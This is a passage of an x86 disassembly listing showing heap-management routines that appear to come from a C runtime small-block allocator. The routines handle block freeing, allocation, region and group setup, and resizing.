		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx

loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------

loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------

loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]

loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx

loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi

loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi

loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------

loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]

loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB

loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------

loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC934
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC92C
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC92C
		mov	eax, dword_4DC934
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC934
		mov	ecx, dword_4DC92C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC934
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC934
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC934

loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC934
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC944
		call	near ptr 27B0000h
		nop
		mov	eax, dword_4DC938
		mov	edx, dword_4DC93C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC934
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC938
		cmp	eax, dword_4DC934
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h

loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC93C
		mov	dword_4DC930, eax

loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC92C, edi
		mov	dword_4DC934, eax

loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC938
		mov	edx, dword_4DC93C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------

loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC930
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242

loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229

loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx

loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------

loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax

loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0

loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------

loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]

loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx

loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------

loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax

loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9

loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0

loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------

loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC930, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E

loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B

loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304

loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]

loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------

loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi

loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]

loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------

loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]

loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------

loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]

loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC934
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC92C
		jnz	short loc_41E4C7
		and	dword_4DC934, 0

loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC938
		mov	ecx, dword_4DC928
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC93C
		push	edi
		push	dword_4DC944
		call	near ptr 2860000h
		nop
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC928, 10h
		mov	dword_4DC93C, eax
		mov	eax, dword_4DC938

loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC93C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC944
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27C0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 28B078Bh
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC944
		nop
		call	near ptr 27B0000h

loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------

loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC938
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------

loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28B078Bh
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------

loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]

loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5

loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi

loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------

loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi

loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------

loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx

loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------

loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]

loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------

loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------

loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi

loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
